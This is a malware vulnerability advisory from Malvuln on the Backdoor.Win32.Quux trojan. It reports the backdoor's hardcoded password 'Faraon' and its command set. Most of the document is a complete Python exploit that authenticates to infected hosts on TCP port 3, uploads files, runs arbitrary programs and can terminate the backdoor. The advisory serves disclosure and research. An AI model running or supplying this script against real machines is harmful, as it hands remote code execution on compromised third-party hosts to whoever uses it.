Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/13ce53de9ca4c4e6c58f990b442cb419.txt
Contact: malvuln13@gmail.com
Media Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/13ce53de9ca4c4e6c58f990b442cb419.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Quux
Vulnerability: Weak Hardcoded Credentials
Family: Quux
Type: PE32
MD5: 13ce53de9ca4c4e6c58f990b442cb419
Vuln ID: MVID-2022-0656
Dropped files: quux32.exe
Disclosure: 11/15/2022
Description: The malware listens on TCP port 3. Authentication is required, however the password "Faraon" translated from Romanian as "Pharaoh" is weak and hardcoded in cleartext within the PE file. Third-party adversaries who can reach an infected host can call commands made available by the backdoor. Commands include uploading files and code execution. Theres a need to code a custom client to communicate with the infected host as nc64.exe and telnet send LF characters and will fail authentication when sending credentials containing " " etc. Once connected if we send any files they will be written to WindowsSystem unless calling the "SetCurrDir" commmand.

0040AD24 ; char aFaraon[]
0040AD24 aFaraon db 'Faraon',0 ; DATA XREF _WinMain@16_0+376↑o
0040AD2B align 100h

[Commands]
SetCurrDir
GetCurrDir
GetCurrentDirectory
Exec
GetFile
SendFile
quit
exit
shutdown
dir
CreateFile
DeleteFile
MessageBox
die


Exploit/PoC:
"quux32_xploit.py"

from socket import *
import time, sys

BANNER="""
____ ____ ___ ____ __ _ __
/ __ \__ ____ ____ __ |_ /|_ | / __/_ __ ___ / /__ (_) /_
/ /_/ / // / // / /_/_ </ __/ / _/ // _ / / _ / / __/
\___\_\_,_/\_,_//_\_/____/____/ /___//_\_/ .__/_/\___/_/\__/
/_/
By Malvuln
MVID-2022-0656 - Nov 2022
"""

MALWARE_HOST=""
PORT=3
CREDZ="Faraon"

def chk_res(s):
res=""
while True:
res += s.recv(512).decode()
if "#" in res or "" in res or " " in res or ":" in res:
break
return res

def auth():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

#Authenticate
s.send(CREDZ.encode())
time.sleep(0.5)
return s

def upload(the_file):

s = auth()

PAYLOAD="GetCurrentDirectory"
s.send(PAYLOAD.encode())
time.sleep(0.5)
print(chk_res(s))

PAYLOAD="SetCurrDir"
s.send(PAYLOAD.encode())
time.sleep(0.5)
print(chk_res(s))

PAYLOAD="C:\Users\Public"
s.send(PAYLOAD.encode())
time.sleep(0.5)
print(chk_res(s))

PAYLOAD="GetCurrentDirectory"
s.send(PAYLOAD.encode())
time.sleep(0.5)
print(chk_res(s))

PAYLOAD="SendFile"
s.send(PAYLOAD.encode())
time.sleep(0.5)

PAYLOAD=the_file
s.send(PAYLOAD.encode())
time.sleep(0.5)

PAYLOAD="Exec"
s.send(PAYLOAD.encode())
time.sleep(0.5)

PAYLOAD=the_file
s.send(PAYLOAD.encode())
time.sleep(0.5)
print(chk_res(s))
print("[+] Uploading: "+the_file)

time.sleep(2)
s.close()

def isIP(ip):
try:
inet_aton(ip)
return True
except Exception as e:
return False

def execute(program):

s = auth()
PAYLOAD="Exec"
s.send(PAYLOAD.encode())
time.sleep(0.5)

PAYLOAD=program
s.send(PAYLOAD.encode())
time.sleep(0.5)
print(chk_res(s))
print("[+] Executing: "+program)

def kill_srv():

s = auth()
print(chk_res(s))
PAYLOAD="die"
s.send(PAYLOAD.encode())
time.sleep(0.5)
print("[+] Backdoor terminated!")


if __name__=="__main__":
print(BANNER)
if len(sys.argv) == 3:
MALWARE_HOST=sys.argv[1]
CMD = sys.argv[2]
if isIP(MALWARE_HOST):
if CMD=="1":
_file=input("[-] File to upload: > ")
if _file:
upload(_file)
else:
exit(1)
elif CMD=="2":
pgm=input("[-] Program to run: > ")
if pgm:
execute(pgm)
else:
exit(1)
elif CMD=="3":
choice=input("[-] Kill server? 1=Yes > ")
if choice.lower()=="1":
kill_srv()
else:
print("[!] Invalid IP!")
exit(1)
else:
print("[*] QuuX32 Exploit Usage: [-]IP: x.x.x.x, Command (1=Upload file, 2=Exec program, 3=Kill server)")
exit(1)



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